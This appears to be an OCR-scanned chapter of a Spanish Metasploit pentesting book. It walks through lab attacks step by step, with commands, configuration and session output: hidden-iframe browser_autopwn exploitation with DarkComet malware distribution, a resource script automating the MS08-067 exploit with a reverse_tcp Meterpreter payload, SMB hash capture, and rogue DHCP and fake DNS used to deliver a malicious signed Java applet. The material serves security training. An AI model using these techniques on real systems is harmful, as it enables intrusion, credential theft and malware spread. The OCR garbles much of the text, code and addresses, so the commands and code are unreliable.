En la siguiente prueba de concepto se utilizard el médulo browser_autopwn, ei cual ofrece la
posibilidad de lanzar exploits de acuerdo a la version del navegador que la victima esté utilizando.

El escenario dispone de 2 maquinas, una serd el atacante con un equipo Windows XP SP3 que dispone
de un servidor WAMP el cual ofrecerd una pdgina web maliciosa, simulando un sitio fackeado, dicha
phgina web dispondra de un iframe transparente que referencia a una maquina donde se encuentra ¢l
médulo browser_autopwn esperando para lanzar los exploits. En el escenario el médulo se enconirard
en un Metasploit en la misma maquina del WAMP, es decir, en la méquina del atacante. Por olro
lado, se dispone de una maquina que seré la de la victima, corriendo un Windows XP SP3, en la
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que simulando una navegacion hacia la web hackeada Y que ha sido modificada con Ia inyeccion
del iframe malicioso sera vulnerada per esta técnica. Una vez que se obtenga el control remoto de
la méquing de la victima se realizard la distribucion de malware, en esta prueba de concepio se
utitizard DarkConmet. L distribucion y ejecucion de malware se realizard a través de fa consola de
Meterpreter. Con este méltodo se pueden obtener gran cantidad de maquinas troyanizadas, pudiendo
ser parte de una hoser simplemente pornavegar por sitios hackeqdos.

Laméquina del atacante dispone de la direccién 1P 192 1 68.0.56,enellasc aloja el sitio web mulicioso
y el médulo de Metasploit. La maquina de la viciima dispone de la direccién 1P 192 168.0.57 para
la sipuiente prueba de concepto. ‘

Iin primer fugar, se ha instalado un servidor WAMP ey Ia méquina de! atacante y en la rata wenypy/
1w se ha colocado un sitio web que simula la pagina real que se encontraria hackeady, |y phgina
web puede ser clonada con distintas herramientas, por ejemplo Telepori. Hay que dejar ¢l modulo,
de tipo muxiliary, [U'()WS‘EIL(H.{/O})WI’I preparado para recibir lag conexiones y que pueda anzar los
exploits. La configuracion se puede visualizar en la siguiente tabla.

Pardmetro | ‘

Valor

————

LHOST La direccion 1p para fas conexiones inversas de los payload

N —_—
SRVPORT | Se debe indicar el puerto por el que escuchard el modylo, 8080 es una buena opcion

URIPATIH

Recurso

al que se quiere acceder. Fn el ejemplo se indica /

—— e S |
Tabla 3.03: Configuracion del mdulo browser_autopwn, :

Fig 3.19: Configuracién del médulo browser_autopwn.

Una vez que se dispone del médulo a 1 espera de recibir conexiones en ef puerto 8080, se debe
tener en cuenta que la web maliciosa debe cargar un ifiame transparente que ieferencie en sy campo
sre a donde se encuentia ef médulo broms’er_aumpnm. Para simuiar Ia inyeceidn de cddigo, como

ocurritia en un Maque real, se edita el sitio weh ¥ 8¢ coloca el iframe como se puede visualizar en
la imagen,

f<1'Frame 3re="nttp: /7187, 168, 0. ¢ 18080, width=0
5ty a="hqdden" framebordar-g marginheight =0
}nargi nwidth=0/>

</ Doty

l</’htm¥>

Fig 3.20: Inyeccian de ifiame en el cédigo de la pagina web,

Ahora solo queda esperar a que la victima se conecte g la pagina web maliciosa y tras cargar sy
contenido, tambidn cargard el iframe que realizard la peticién ala direccion http://192.168.0.56-8080.
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Generalmente, en un ataque real, esta peticién se reglizariaﬁ un dom‘m;):p:bhco]2?3:;2:‘26523
distribuir mahvare o que también ha sido comprome?ngio y dispone de un kit d [e ztaxpn Oi; on detriZ
Para hacer mas real la simulacion se ha utilizado el sitio web qe un congrlesci‘(., e ggn ’ ﬁ S; };argt
modificade el archivo hosts de la victima para que cuando se :ntroduzca lz;, dir f;c; el se

la web que sirve e! atacante. Se entiende que en un ataque real esto no se llevaria a ce .
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Fig 3.21: Navegacion de la victima a la web hackeada.
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Fig 3.22: Browser_Autopwn lanzando exploits, .,
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Fig 3.23: Distribucién de malware. .
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Una vez la maquina ha sido troyanizada, DarkCommet se conectard con el atacante automaticamente,
En la generacion de un bot de DarkCommet se debe especificar, al menos una direccién que serd
donde se conecte el bot dando el control de la méquina. El atacante dispondrd de un nombre de
dominio, por ejemplo un dyndns, para no utilizar las direcciones IP dindmicas. Aunque, si el alacante
dispone de una direccion IP estatica también podria usarla.

Fig 3.24: Bl troyano se conecta al panel de administracién.

5. Automatizando las ordenes

Tras ver la parte de intrusién o explotacién de sistemas, en la que si se consigue el éxito la
adrenalina sube a gran velocidad, hay que pensa: de nuevo en el proceso completo del test de
intrusidn. Anteriormente, se ha estudiado como la recogida de informacién y descubrimiento de
servicios es algo que puede llevar bastanie tiempo, pero es algo que puede ser aulomatizado, ya que
generalmente, el proceso tiene mas aspectos de procedimental que de artistico.

La automatizacion de las tareas a realizar en Metasploit es un proceso que puede ayudar al auditor a
minimizar tiempos. Como se ha mencionado anteriormente, en un test de intrusién existe gran patte
de procedimiento, el cual en condiciones normales es siempre igual, y una parte menor que depende
de la experiencia o pericia del auditor, la parte mas artistica.

La idea principales es conseguir reunir el méximo detalle en el workspace de la base de datos a la
que el auditor conecte el framework. Entonces, (Se puede automatizar la captura del méximo de
informacion? Esto es la idea de los resource scripls, cuya extension serd rc.

Los resource scripis son tratados por el Jramework como templates ERB al permitir la ejecucion de
bloques de instrucciones en Ruby, desde los cuales se podré interactuar con la API de Metasploir,

REX. Existen algunos rc que vienen por defecto en Metasploit en la ruta /Ipentest/exploits/
Jramework3/seripts/resource.

Con los scripts que vienen por defecto con el framework se puede realizar la mayoria del trabajo
de recopilacién de informacion del entorno a auditar, A continuacién se estudia uno de los scripts

que vienen por defecto y que es realmente interesante y til a la hora de descubrir servicios y de
recolectar informacion,

Capitulo IlI. El arte de la intru;io’n

E{ . : . 1 dl ipcién del script basic_discovery.rc que se puede

'L L talle en la descripct 1Y :
n este apartado se entra en de : ' o : o
CHCOI]tfa['len la ruta /1)8/1’@3[/&\'[)[01‘[.5‘//‘}"0}"8WOI‘[C.?/.S'C}'[[)iS/"@SOl/iC@. lESu.« .lSC} lpl Sirve ])iilrﬂ LE]OS(LIﬁl()S

i méaquinas y servici i i tilizando nmap y otros
¢ infor 5 5001 as SErvicios dlsponlbles u '

luXi“dl‘eS ﬂlgUl'l()S (le l()S ViStOS anteriormente en esie llblO, pdlﬂ ])10{0(‘,0108 .Sﬂl/), map, puf / [
« 2

Jip, etcétera.

: ipl.rc ’ izar el seripf. Hay
A continuacion, mediante el uso def comando cat <scripl.rc> | more se va a ail?alula o ,fmul[‘:
' ' i o v . A . v “ . o 5
jue tener en cuenta que se puede personalizar en funcidn de las necesidades editando, simy ,
¢ ¢ S :
el archivo rc original mediante algln editor de textos.

O e l v b4+ ervar en l 1 HNnagen es la (ieCId[dCI(H (lC Ui var dl)le dbi [¢] Hll(l(l( sloINAY
Lr p| NICIO (JUE S pu(«d ObS ¢ d& v [ o

v )lﬁ‘.()s 1 . 1( .} ¢ aaiiical

VICIOS E 'u.ld”.() ue l(: 1 (l I H3
(ue contien 10¢ 1e serafn anahzﬁdos (13 bUSCa de Servic
ene to lOS 1051 uer q . "

(.‘I ]d“g(), alnp[lﬂﬂd() o (.lla‘ﬂ“lluye“do el numero. Uu Collcep‘.() llllly lnteleball[b es el dgutas IL{’L()( ({ldl
:ﬂmﬂCena L\S Valldl)ieb (.er Ry CO“thla“ en IH.”C()”SU/B, POI € eﬂlplO RHOS ! S, Ll [OS ], l l l,

etcélera. . .
Para interactuar desde el interior del script con estas varigbles del /rume»lk;o‘r/fvs,ler u:ol:ig lzes“]ti);li
framework.datastore[ ‘<nombre variab./e.> . En. el script ‘se P}\Bdf:‘, ges':;te(s e
.comparaciones mediante el uso de condicionales if para poder verificar que ¢

se configuraron las variables.

.

' i jecutard r 1 no est
En el caso de la variable NMAPOPTS, define las opciones con las que se ejeculara nmap, s o u’(
e A e v e o r defecto,

declarada dicha variable en el datastore se declarara en el scripf con unos parametros po

tal y como se puede ver en la imagen.

i eds) :
it portscanner {(change this for your ne ) 264,265,389,

ﬁsiisporfg ;gr2§e§gsg;0:3 29,53,67,68,79,89,189,119,111§§§3§§32,;gzélggéé3zé;;35;gé,;aal TS
43,445,500, 631, 901,995, 12 434 1521, 1720, 1723, 3306, 3389, 3780, 4662, 5809, 5801, 5862,

5 ,901,995,1241,1352, 1433, 1434, 1521, ' 8
ggaéggglgggisgéﬁ 5963 6999,6666,8999,8089.8443,16990,19943,27374.27665

) , i ' f

i rk.datastore[ *RHOSTS'} == nil) .
o (framg\:ci:“t line{“you have to sef RHOSTS globatly ... exiting")

return
end

. 9 1= nil)
i ork.datastore|*NMAPOPTS'] = ni )
a (frami‘;apopts = framework.datastore[ 'NMAPOPTS']

else ~ )
#default-settings .
nmapopts = "-PN -P@ -0 -sSV
lend

Fig 3.25: Parte de codigo del script basic_discovery.re.

Para la ejecucion de modulos, tras la conﬁguraci()l.a de vari‘ables, o l.l]Ch‘l.SO]{:?ll ::]c\?;}glg,;ul :":; dv\,l:l’:l;tljz
desde el interior del script se dispone de la sentencia rm‘1_smg1e. PI‘B fé rz;sslgstec umiz; O s
del framework, es decir no local al script, como por ejempfo Ri oS e m-ip’i S—ériaksimi]ar ¢
<variable> <valor> »). Para ejecutar una sentencia en e} fmmewo‘fl c{ ,,3.,0,.@}' ST 1) Las
lo anterior run_single(*db_nmap —v —n #{mnapgpls} H#{framework.data:

variables se esp_eciﬁcan mediante el uso de #{variable}.
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’If(nmapml)
print_tine("Module: db_nmap*)
if (verbose = 1)

print_line("Usin§ Nmap with the following options; -v
.datastore[’RHOSTS‘]}")

run_single("dh_nmap -v

-n #H{amapopts} #{framewnrk

-n #{nmapopts} #{framework.datasture['RHGSTS']}")
else

print_line{"Using Nmap with the following options:
tastore[’RHOSTS']}")

runﬁsingle("db_nmap -n #{nmapopts} #{framework.datastore['RHOSTS']}")

-0 #{nmapopts} #{framewsik.da

end

else
print_line{"Medule: portscan/tep®)
run_single{"use auxiliaryfscanner/portscan/tcp")
run_single(”set PORTS #{ports}")
run_single{"run -j")

lend

Fig 3.26: Ejecucion de sentencias desde ef interior dei seript,

Ixiste una funcidn en el script que verifica si el auditor se encuentra conectado a la base de datos,
donde se almacenard toda la informacién obtenida con el scripr. Si no se ests conectado a la
base de datos el scripr mostrard

@ un mensaje por pantalla indicindolo ¥y se acabard la ejecucidn de
instrucciones,

# Test and see if we have a database connected
begin

framework.db.hosts
rescue ::Activeﬂecord::ConnectionNotEstablished

print_error({“Database Connection isn't established)
return

eng

Fig 3.27: Test de conexién de la base de datos en el seripr,

A continuacion se puede visualizar la ejecucion del scripf y la obtencién de resuliados mediante
el uso de ssta técnica de automatizacion, Recordando su wtilidad para 1a mayoria de los test de
intrusion. Es altamente recomendable estudiar los distintos scripis que dispone el framework v ver
sus posibilidades reales, ya que utilizando varios de ellos en conjunto se puede obtener gran cantidad

de informacitn del entorno a auditar e incluso conseguir realizar explotaciones con algunos de lus
scripls. :

msf > resource basic_discovery.rc

4] Prozessing /opt/framework3/msf3/5cripts/reso
[*] resource (/opt/frameworkS/msz/scripts/resou
you have to set RHOSTS globally .., exiting

#sf > set RHOSTS 192.168.8.59

RHOSTS = 192.168.8.59

msf > resource basic_discovery.rc

{*} Processing /opt/framework3/msf3/scripts/resource/basic
{*] resource (/opt/framework3/m5f3/scripts/resource
THREADS =» 15

-] Database connection isn't established

nsf >

urce/hasic_discovery.rc for ERB directives.
ree/basic_discevery,rc)> Ruby Code (20261 bytes)

_discovery.rc for ERB directives.
/basic_discovery. re)> Ruby Code {20261 bytes)

Fig 3.28: Ejecucién de basic_discovery.re con error por conexién base de datos.
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Uno de los errores mds comunes es la no configuracién de las variables en el framework antes de
lanzar el script, ya que puede que éste las requiera previamente configuradas, por otro lado, otro d
los errores comunes s la no conexion a la base de datos cuando el scripf lo requiere.

msf > db_connect postgres:123abc.@127.9.9. 1/msf

sf > resource basic_discovery.rc

f*1 resource {basic_discovery.rc)» Ruby Code (18075 bytes)

starting discovery scammers ... stage 1

starting pertscanners ...

udp_sweep ) ) )

{4} Auxiliary module running as background job

Module: db_nmap

Using Nmap with the following options: -n -s5T -PO -A 192.160.6.59

{*} Sending 18 probes to 192.168.9.59->19;.168.9.59 (i hosts)

1#] Discovered ntp on 192.168.9.58:123 (Mlcrosoft NTP )

[*] Discovered netbios on 192.168.0.55:137 (PRUEBAS-81760CC:<a8>:U .PRUEBAS~011

8CC:<28>:U :GRUPO_TRABAIO:<08>:G 1GRUPO_TRABAJD: <le>:G <GRUPO_TRABAJO : <ds:U B
HSBROWSE @(b)b:ﬁ :08:00:27:a4:a9:3d) )

T#) Kmap: §fartinq Nmap 5.51SVN ( http://nmap.org ) at 2012-86-25 17:35 CEST

Fig 3.29: Ejecucitn correcta de basic_discovery.re.

Creacion de un resource script

Antes de crear seripls de automatizacion de tareas se debe disponer de un par de‘ cosas claras-, la
primera es que se debe conocer el lenguaje de scripting Ruby y la seginda que se debe disponer de
un conocimiento medio-alto de ia arquitectura y funcionamiento de Metasploit,

A continuacidn el ejemplo que se muestra es bastante sencillo e intuitivo, pero queda reflejado el
potencial y flexibilidad que disponen los resource scripts para la automatizacion de tareas icomun'ers.
. M e o B 4,

En el presente ejemplo se utiliza un rc para, simplemente, automatizar el proceso de configuracion
del manejador de conexiones de los payload, es decir, exploit/multi/handler.

echo use exploit/multi/handler >> meterpreter.rc

echo set PAYLOAD windows/meterpreter/reverse_tcp >> meterpreter.rc

echo set LHOST 192.168.0.100 >> meterpreter.rc

echo set ExitOn3ession false >> meterpreter.rc
echo exploit -j ~z >> meterpreter.rc

i isti i ia I andos
Para lanzar este script existen distintas maneras, como por ejemplo, en una Ilpea de conmndl
ejecutar msfeonsole - meterpreterre, o desde una sesion de msfeonsole mediante el comando
resource me.?er;ure:‘enm

Otro ejemplo inieresante es la automatizacion de la explotacion de una méquina, por ejemplo,
meaiante la explotacion de MS08-067.

echo use exploit/windows/smb/ms08_067 netapi >> exploitNetapi.rc
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echo set PAYLOAD windows/meterpreter/reverse“tcp >> ezploitNetapi.rec
echo set RHOST 192.168.0.110 >> exploitNetapi.rc

echo set LHOST 192.168.0.100 >> exploitNetapi.re

echo exploit -j -z >> exploitNetapi.rc

ast > resolrce exploiiNetapl, rc
[*} Pracessing /npt/framework3/msf3/scripts/resource/exploitwetapi.rc far ERB directives.

resotirce (/npt/frameworka/msfslscripts/resource/exploituetapi.rc)> use expIoitiwindows/smblmsﬂﬁn
667 netapi

resource (/upt/frameworkB/msz/scripts/resource/exploitNetapi.
er/reverse tep

PAYLOAD => windows/meterpreter/reverse_tcp

resource (/upt/frameworkB/msf3iscripts/resource/exploitNetapi.rc)> sel LHOST 192.166.0.56
LHOST => 192.168.8.56
resource (/opt/framewnrkB/msf3/scripts/resource/explait"etapi.rc)> seb RHOST 192.165.8.59
RHOST => 192.168.0.59

resource (/opt/frameworka/msfa/scripts/resource/expioitnetapi.
i1 Exploit running as background job.

rc)e aet PAYLOAD windows/meterpret

re)> expleit -j -z

{*] Started reverse handler on 182.168.8.56:4444
msf exploit(nsdd_067_netapi) > [+ Automatically detecting the target. ..
U] Fingerprint: Windows xp - Service Pack 3 - lang:Spanish

{*1 Selected Target: Windows Xp sp3 Spanish {NX)
[*] Attempting to trigger the vulnerability. .,

t*] Sending stage (752128 bytes) to 192.,168.9.59
[*} Heterpreter session 1 opened (192.168.0.56:4444
L0200

> 192.168.8.59:1671} at 2012-06-25 08:18:50

Fig 3.30: Ejecucion de un resonrce script para MS08-067.

6. Servidores Rogue

Metasploit dispone de unos médulos de tipo auxiliary muy interesantes Gue perriten al auditor
tevantar un servidor, en menos de un minuto, el cual ofrece un servicio fotalmente falso. El objetivo
de este tipo de servidores es a captura de credenciales o ejecucion de codigo arbilrario mediante
el engafio en Ia maquina remota. Los engafios pueden ir desde simples redireccionamientos
a direcciones IP dénde en un puerlo concreto espera el servicio malicioso, hasta un complcjo

entramado de servicios, que aparentemente realizan lo que deberian para terminar con la explotacion
de la maquina de la victima. : :

La ruta dénde se aloja en el Jramework este lipo de médulos es auxiliary/server/. Bn esta ruta se
puede encontrar un directorio capture dénde se almacenan modulog cuyo objetivo principal es la
captura de credenciales v, otros elementos de interés como las cookies. A continuacién se muestra
informacion sobre los médulos server/capture.

Médulo auxiliary Descripeidn

Permite configirar un servidor para protocolo SMB con el que se pueden
server/capture/smb , .
obtener hashes de tipo NTLM

) Permite configurar un servidor FTP que presente un login pare recoger
server/capture/fip Comtigurg que | gin p: g
credenciales

Capitulo . El arte de la intrusion

& Hi Descripcion
Médulo auxifiary

H - 1 O ~alag dC
Permite configurar un servidor HTTP para capturar credenciales

server/fcapluie/htip autenticacion

. T . rar creder i1 es
server/capiure/ Permite configurar un servicio POP3 falso para capturai credencial
pop3 ’

{urar eredenciales de
icic ara i redenciales de
server/capiure/ | Permite configurar un servicio SMTP para capiurar eredenciaics

simtp autenticacion

i elnel para realizar ¢l engaiio y obtener
server/capture/ | Permite configurar un servidor de telnet para realizar ¢l engaiio y

telnet las credenciales

Tabla 3.04: Modulos auxiliary/server/capiure.

msf auxiliary{smh} > setg SRVHOST 192.168.1.35
SRVHOST =~ 152.168.1.35 s »
msf suxiliary{smb) > set LOGFILE /root/hashes.txt
LOGFILE => froot/hashes.txt

msf auxiliary{seb} > run . )

fi_] Auxiliary module execution completed

{*1 Server siarted. .
asf auxiliary{smb} > [*} 2012-06-26 22.946%21;3299

NTLMy2 Response Captured from 192.168.1,36:

BIT-PC\ftsai 0S: L .

i :pisabled . ’
u‘ﬁ‘:gg:U;;gg;:gﬁ‘i?‘gigisg.{if}gg‘isgzggefefl NT CLIENT CHALLENGE:6161800009000800360ccd7d653¢d016¢
NTI e . A
e3f935fdfe3l 206808

Fig 3.31: Captura de hashes con auxiliary/server/capture/smb.

A . . . . B [Ty "

LXISte la posibl“dad de deSCa[galSe mas (:.xp[OllS qlle plOp()lClondn tuncl()“dhdadbb S1MA (,.S con
H - :l ofm 11 l l 1 l,”‘.,n as

otros SC[ViCiOS. ES ley intercsante dlSpOllel a nano de este Ul)() e herramic las.

ili cerver (6 e dispone de distintas
Las otras herramientas interesantes son las aulelary/se ver donde se di [f;rl .
an ’ ‘ i i OV z eryor € 1a red.
funcionalidades que, ya sea en solitario o umdas, pueden provocar gran L
’

PoC: Rogue DHCP, Fake DNS y Applet de Java

[0 ¢ iliary/server/dhep, con el
En el siguiente ejemplo se va a realizar una prueba de conceplo con au,u/lag )1 ]/F*,c,um.:l UH/DNS o
que se configurard un Rogue DHCP, auxiliary/server/fakedns, con el que S:qlci Zar;‘;,h Le et do
7 j I a 10
tanto especial y exploit/multi/browser/java_signed_applet con el que se red
it
la maquina de la victima.

i \ irefess red corporaliva

El io estd compuesto por una red, que podria ser una red wireless o una re : 1C“€meq

loads, ¢ card que los s
cableada, donde el atacante configurard un rogue D'HCP‘ con el que sejv?(t‘lsr ‘D {\4 Slcommlado o
obtengax; una direccion 1P de un rango concreto, una dlrecc.lon 1P d? un selx o DS
el atacante y una direccion de puerta de enlace, que también podria S{Cl a (lu
b i Afl lener 1 redenclales.
por lo que se podria moniterizar el trafico para obtener cookies o cre
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Adem’.ﬂ s configura un servicio web donde al realizar la conexién se lanzard un applet Je juve
conl llntcnc‘}'ones maliciosas. fiste servicio serd referenciado por una pagins web Iquél ls)inﬂi\!'-'«ré’lu;l
portat caulivo y que realmente redirigird aj i 6 i alici

Lsta pagina se encluentra alnjada e;?ltll;)g ;2%2?1}3&3?::;? ’Sf”"iﬂ;’_z‘z_"?‘ s "-““]"C\"OSO'
legar 1a neticion se muestra la pagina dei portal cautivo ) d C‘!a '})e I'L~lo'ne's"el') "SI P“e"(}‘ b“ff‘!
URL déide se encuentra configurado el servicio del ?UL BOC(.) e :eﬂxllgxr’zl : a direccidn
ejecucion del appler, realmente ;e es\mrﬁ X .lCl.,O »e applet. Cuiando el usuane o v1ctm.1a aceple ia
Gecucian , tara ejecutando un papload que devolverd una sesion inversa
n esle case un meferpreter., ‘

. . I
S ACi( i HC i

L4 e nI l iguracion dei Rogue DHCP es bastante sencilla. se carga et modulo auxiliary/serverifien y
Qoo AR e - ara - : H ’ "

se confighran algunos parfmelros como se puede visualizar en fa siguienie tabla. ‘

!)1 -3} Ay H
- Pard {1}&1 0 Valor

DHCPIPEND 192.168.0.105
DUHCPIPSTART | 192.168.0.100

PNSSERVER La direccion [P donde se encuentra el DS, por ejempio, maquina u!
atacante. 192.168.0.61 ' T ’

NETMASK 255255.255.0

. a direccid 3 , " ; ..
ROUTER La direccion IP de la puerta de enlace, podria ser la méquina del atacante para

monitorizar trafico. 192.168.0.61

N o .
SRVI 1(_).> ! La direccion [P dénde se lanza el Rogue DHCP. 197.168.0,61
Tabia 3.05: Configuracion Rogue DHCP

{._sj_ » use auxiliary/server/dhep l ’
st auxiliary(dhep) > show options '

Modiile optiors {auxiliary/server/dhcp):

Name Current Setting Required Description
Sg?:&:;;\aé no The broadcast address to send to
Dtié?n@%‘rm 10 The last IP ‘to give oul
DNSSER‘VEP‘ no The first I? to give out .
FILENANFI no The DNS server IP address
ok 3 no The optional filenamé of a tftp hoot

HOSTNAME
Hoggﬂ\‘h no The optional hostname to aszign
”EmASk no The optional host inteyer counter
oo yes The netmask of the local subnet
el no The router iF address

yes The TP of the DHCP server

st auxiliary(dhep) > set DHCPIPEND 19

l¢ D 192.168.0.
DHCPIPEND => 192,168.0,165 09-0.165
nsf auxiliary({dhcp) »

Fig 3.32: Configuracién Rogue DIICP
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Podria ser interesante agotar las direcciones IP dispouibles en el pool del DHCP origiiial que existe
en fa misma red, si existiese alguno. Llegado este punto, los clientes que se conecten a lared recibirdn
direcciones IP otorgadas por el servidor DHCP false, ademds de lo mas interesante, la direccion IP
del servidor DNS y de la puerta de enlace que se quiera,

Iis e momerto de configurar el servidor DNS falso, para ello se carga el médulo auxiliary/server/

Jitkedns. Bl funcionamiento de fakedns es sencillo, con la variable DOMAINBYPASS se configura

una lista de dominios para los que las resoluciones no serdn falseadas, SRVHOST es la variable
donde se configura la direccion IP dénde se monta el servidor DNS falso, la del atacante en este
caso. Tras lanzar ¢l mddulo, en el ejemplo, cuando la victima pida resolver cualquier nombre de
dominio, excepto Geogle porque asi esta configurado, se resolvera con la direccion IP del atacante
dénde espera el servidor Apache,

msy auxiliary{dicp! > run
{#) Auxiliary medule execution compieted

=) starting BHCP server...
msf auxiliary(dhep) » use auxillary/server/fakedns
maf auxiliary{takedns) > show opticns

Module options {auxilizry/server/fakedns):

Name Current Setting Required Descriptioe

DOMAINBYPASS www.google.com  yes The list of domain names we want to fully resolve
SRVHIST 6.9.0.9 yes The local host to listen on.

SRVPORT 53 yes The local port te listen on,

TARGETHOST no The address that all names should resolve to

msf auxiliary{fskedns) > sat SRVHOST 192.168.9.61
SRVHOST = 142,168.6.61

msf auxiliary{fokadns) > run

{*¥] auxiliary module execution completed

%] ONS server inivializing
1] ONS server started

Fig 3.33: Configuracién de fakedns.

Una de tas victimas, la cual obtuvo las direcciones IP por el DHCP falso, realiza una peticion a www.
apple.com. B} servidor DNS falso resuelve esta peticion devolviendo la direccion 1P de Ja maquina
del atacante, 192.168.0.61. La maquina de la victima, realiza la peticion al atacante al puerto 80,
donde se encuentra un archivo index.html con el siguiente codigo:

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 3.2//EN">
<HIML>
<HEADZ>
<TITLE>Captive Portal</TITLE>
</HEAD>
<BODY>
Captive Portal<br />
<script type=“text/javascript”>window.location = “http://www.apple.com:8080/
portal” </scripc> <!-- Arbitrary Redirect -->
</RODY>

</HTML>
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El médul j
o del applet de java se configura con los valores que se especifican en la sigujente tabla

URIPATH | /portal -

————— e

:
N )
PAYLOAD | Windo ws/melerpreteriieverse cp

Capitulo HI. El arte de la intrusion

Pardmetro Val

. air
SRVHOST | 192.168.0.61 (IP atacante) 1
SRVPORT | 8080 (puerto escucha servicio) | ' —“1

Tablu 3.06: Contiguracian méduto uppler de java,

Se podria evitar [a utilizacié .

5 i evitar fa utiliz sl ser - A s .

o recon‘nendable‘umiz 1;’105}%13;&1 st ;/zdm Apache y utilizar directamente el modulo del applet, pero
Al oy, social engineering 1o0lkit der utili ; . ’

para hacer mas crefi . . . » ¥ poder ulilizar aiguna pagina web (aiss

pe cer mas creible el ataque. SET serd estudiado mas adelante en el ﬁbrob pagia web fals

msf auxiliary(fakedns) » use exploit/multisbr

psf exploit{java_signed_applet) > show Optiongwser/java_signed_applet
Hodule options (exploit/multi/browser/java signed applet):
??T? Current Setting Required Description
APPL| iteloader  yes  The main o
CERngmA”E §;§:§0?2?£ yes The main applet's class name,
Sl e.e.a?e it Inc. z:: TRe CN= value for the certificate,
) tge Tocal machine e 0.0.0.0 The local host to listen on. This must be an address o
RVPORT
oy ?g?ge {es The lqcal port to listen on.
Ssiversion o8 ;3 gegotlate SSL f0( incoming connections
ed: 617, sa0s, o pecity the version of SSL that should be used (acéept
URIPATH
no The URI to use for this exploit {default is random)

Fig 3.34: Configuracién exploit/mudti/browserfjuva signed_applet,

La redireceid 7 i i
on de la web del portal cautivo hacia e servicio web montado por el madulo de

/f‘ 5] l()l 8 18 <l d ﬂd()l de ld v ! (l ante a4 aparicion (lel a( [ef a carga (56
g
A elasp [ sey Uallz 1 en el nave Ictir 1d meat

Siel usuario acept ' i4
> obtem‘;() ; pta el c.L{adfo de didlogo del applet se produce la ejecucién del payload provocand
ft d¢ una sesion inversa por parte del auditor o atacante "

_ Nombre:  Steloader . e

Editor; i

DESCONOCIDO

f?‘tﬁflfWWJ!Awple‘com;Boao' L

e [ Ejecutar g Cancelar @

Fig 3.35: Cuadro de didlogo appler.

[} Building statically signed jar for 192.168.8.163

i+] Sending Siteloader.jar to 152.168.0.1083:1368. wWaiting Tor user to click 'sccept’...

(+] Sending stage (749056 bytes) to 182.168.0.1e3

#} Meterpreter session 1 opened (192.168.96,61:4444 -> 192.168.0.103:1370) al 2012-86-23 18:41:4

b +8208
pgi exploitijava signed_applet) > sessions -1

notive sessions

R S R R IR

Id Type Information Connection

1 meterpreter x86/win32

192.168.60,61:4444 -> 192.168.0.103:13/0

Fig 3.36: Obiencion sesion inversa del appler.

Fake DNS por José Selvi

José Selvi es uno de los grandes especialistas en peniesting a nivel nacional, mentor de lncident
Handling y Penetration Testing del SANS Institute en Espafia. 131 escribe sus grandes conocimientos
en su blog Penfesteres, el cual se recomienda su lectura desde este libro.

FakeDNS ha sido muy utilizado por José en sus auditorias y propuso una mejora a este modulo,
fa cual realmente se ve reflejada en 2 aspectos, la 6gica y su eficiencia. José se ha declarado un
enamorado de Metasploir, debido a su lexibilidad y potencial. FakeDNS s encuentra en la ruta /
pentest/exploits/framework3/modules/auxitiary/server/fakedns.rb.

En la prueba de concepto anterior se ha podido estudiar como FakeDNS utiliza una logica inversa
a lo combn, es decir, se resuelven todos los nombres de dominio de manera falsa, excepto una lista
que se indica. Es por esto que José planted una nueva solucién al médulo, lo fogico seria utifizar
el modulo fakeDNS para que resolviera todo correctamente, como hatfa un DNS, y que el auditor

eligiese que dominio se spuofea.

En su articulo htip://www.pentester.es/201 2/03/mejorando-fukedns-i.himl, José habla de como
funciona FakeDNS y como ¢ ha mejorado este médulo. El codigo original se puede visualizar a

continuacion.

t Identify potential domain exceptions
@domain_bypass_list.each do |ex|
if (name.to_s <=> ex) ==
# Resolve the exception domain
ip = Resoiv::DNS.new () .getaddress(name}.to_s
answer = Resolv::DNS::Resource::IN::A.new( ip )
if (@log_console)
print_status (“DNS bypass domain found: #{ex}”)
print_status (“DNS bypass domain #{ex] resolved #{ip}”)
end
end
" end
request.add_answer {name, 60, answer)
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Fin el codigo existe un punto en que se recorre Ia lista de dominios que deben ser saitados a la hora de
falsear la respuesta DNS. Mediante el bucle que se ve en el c6digo sc compara la peticién DNS con
los elementos de la lista DOMAINBYPASS, si alguro son iguales entonces se realiza una resolucién
normal, mientras que si tras recorrer la ligta y comparar fos elementos ne se ha encontrado nin guno
igual se envia la respussta fake.

51 se requiere cambiar el comportamiento del DNS se podria pensar en una soiucién rapida como es
modilicar el primer if por la siguiente linea if (name.to_s <=> gx) I= (), Con esta solucion, suando
el nombre solicitado se encuentre en la lista se resolvera con fake y cuando no fo esté funcionars
normal. S6lo tiene una limitacion y es que en ia variable DOMAINBY PASS sdlo se podrd configurar
i nombre de dominio, y no mas.

La solucion anterior puede ayudar en un momento dado de una auditoria, pero cuando se le introduce
utk nombre de dominio que no existe, el médulo deja de funcionar y se rompe. Para solucionar esic
problema, se debe afiadir un control de excepciones en la zona de codigo en la que se realiza el
procesa de resolucion,
bagin

ip = Resolv::DNS.new().qetaddress(name).to_s

answer = Resolv::DNS::Resource::IN::A.new{ ip )
Tescue ::Exception => e

next
end

Con ¢! control implementado se evita que cuando se intente resolver un nombre de dominio que o
existe el madulo se rompa. Pero, segiin José, sigue siendo una solucion un tanio especial, aunguc si
es funcional,

Para finalizar con una solucién elegante y eficiente, José Selvi implementd su propia versién de
FakeDNS @ la que denoming BestFakeDNS, la cual se puede descargar desde el siguiente enlace
htip:1/100ls. pentester.es/fakedns. Esta version esta basada en la original del Jramework, pero s¢ han
afiadido funcionalidades interesantes: '

- Lavariable TARGETACTION con la que se evita modificar a mano el codigo y permite
trabajar con la logica original o fa logica modificada. Este pardmetro se puede definir como
BYPASS, el DNS resolvers todo excepto lo que se quiera spofear, 6 VAKE, el cual falsears
todas las peticiones menos las especificadas en la lista DOMAINBYPASS.

- Control de errores el cual evita que la aplicacion caiga ante la pelicion de un nombre de
dominio que no existe. :

- Lista miltiple que permite configurar varios nombres de dominio en 1a lista, tanto en
modo BYPASS come en modo FAKE,

- Wildeard. Se puede definir nombres de dominio con wildcards, por ejemplo
*.informatica64.comn.
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7. Persenalizacion y actualizacion del framework

Una caracteristica interesante de Mefasploit es la flexibilidad y facilidad de actualizacién del

framework. Los usuarios saben que la seguridad informatica es una de las ramas que mas avanza,

ya que pricticamente a diario salen gran cantidad de vq[n1erabilicfades conoycidas. Es por esto'que
el auditor debe disponer de su_framework lo mas actualizado pOSI,bI.e y al dia, para que en ‘Ios test
de intrusion que haga uso de Metasploit éste pueda sacar el méximo provecho de los sistemas
informaticos a los que se enfrenta.

